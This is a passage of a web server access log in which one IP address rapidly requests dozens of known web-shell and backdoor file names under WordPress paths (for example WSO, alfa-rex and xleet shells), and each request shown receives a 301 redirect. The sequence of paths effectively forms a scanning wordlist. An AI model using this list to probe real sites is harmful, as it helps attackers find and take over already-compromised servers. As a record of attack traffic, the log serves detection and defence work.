/wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:53 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:54 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:50:54 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:54 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:50:54 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:50:54 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:54 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:54 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:55 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:56 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:57 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:57 -0400] "GET /land.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:50:57 -0400] "GET /hobi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:57 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:57 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:57 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:58 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:58 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:50:58 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:58 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:58 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.36.48.76 - - [26/Apr/2025:04:50:58 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:50:59 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:59 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:59 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:59 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:50:59 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.36.48.76 - - [26/Apr/2025:04:50:59 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:59 -0400] "GET /wp-admin/includes/manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:59 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:59 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:50:59 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:59 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:51:00 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:00 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:00 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:51:00 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:51:00 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:51:00 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:00 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:00 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:51:00 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:51:00 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:51:00 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:01 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:01 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:01 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:01 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:01 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:51:01 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:51:02 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:51:02 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:51:02 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:02 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:51:02 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:03 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:03 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:03 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:03 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:51:03 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:51:04 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:51:04 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:51:04 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.36.48.76 - - [26/Apr/2025:04:51:04 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:51:05 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:05 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:05 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.36.48.76 - - [26/Apr/2025:04:51:05 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:51:05 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:51:05 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:06 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:06 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:06 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:07 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:07 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:51:08 -0400] "